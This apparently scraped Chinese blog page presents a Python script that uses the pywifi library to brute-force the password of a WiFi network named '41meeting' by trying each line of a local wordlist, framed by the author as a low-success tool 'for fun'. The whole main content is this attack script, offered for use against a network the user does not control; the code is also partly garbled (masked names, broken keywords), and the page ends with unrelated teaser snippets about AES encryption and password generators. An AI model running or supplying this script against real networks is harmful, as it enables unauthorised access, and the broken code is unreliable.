注:可行性不高,和那些暴力破解wifi的軟體差不多,可能等個幾個鐘都沒破解完,純屬娛樂(萬一運氣好呢哈哈)
需要安裝的擴充套件包 pywifi,依賴包:comtypes
以下是源**:
import time
import pywifi
from pywifi import const
from asyncio.tasks import sleep
class pojie():
def __init__(self, path):
self.file = open(path, "r", errors="ignore")
wifi = pywifi.pywifi() # 抓取網絡卡介面
self.iface = wifi.inte***ces()[0] # 抓取第乙個無限網絡卡
self.iface.disconnect() # 測試鏈結斷開所有鏈結
time.sleep(0.1) # 休眠1秒
assert self.iface.status() in [const.iface_disconnected, const.iface_inactive] # 測試網絡卡是否屬於斷開狀態
def readpassword(self):
print("開始破解:")
while true:
try:
mystr = self.file.readline()
if not mystr:
break
bool1 = self.test_connect(mystr)
if bool1:
print("密碼正確:-", mystr)
break
else:
print("密碼錯誤:" + mystr)
sleep(3)
except:
continue
def test_connect(self, findstr): # 測試鏈結
profile = pywifi.profile() # 建立wifi鏈結檔案
profile.ssid = "41meeting" # wifi名稱
profile.auth = const.auth_alg_open # 網絡卡的開放,
profile.cipher = const.cipher_type_ccmp # 加密單元
profile.key = findstr # 密碼
self.iface.remove_all_network_profiles() # 刪除所有的wifi檔案
tmp_profile = self.iface.add_network_profile(profile) # 設定新的鏈結檔案
self.iface.connect(tmp_profile) # 鏈結
time.sleep(5)
if self.iface.status() == const.iface_connected: # 判斷是否連線上
isok = true
else:
isok = false
self.iface.disconnect() # 斷開
time.sleep(1)
# 檢查斷開狀態
assert self.iface.status() in [const.iface_disconnected, const.iface_inactive]
return isok
def __del__(self):
self.file.close()
path = r"f://data_temp/passwordwifi01.txt"
start = pojie(path)
start.readpassword()
python3實現CryptoJS AES加密演算法
from crypto.cipher import aes from binascii import b2a hex,a2b hex import base64 class aescrypt def init self,key self.key key.encode utf8 self.mode a...
Python3實現生成隨機密碼的方法
本文例項主要實現建立8位隨機密碼 大小寫字母 數www.cppcns.com字 採用python3生成了初級演算法的隨機密碼。主要功能 如下 author gooptyvyfand import string import random def genpassword lewww.cppcns.co...
Python3生成密碼
使用python3實現簡單的密碼生成功能,隨機且隨意。這裡只是乙個簡單的例子,有必要的話可以深入研究一下。time 2019 9 12 18 24 author 統哥哥 file password generato.py software pycharm import string import r...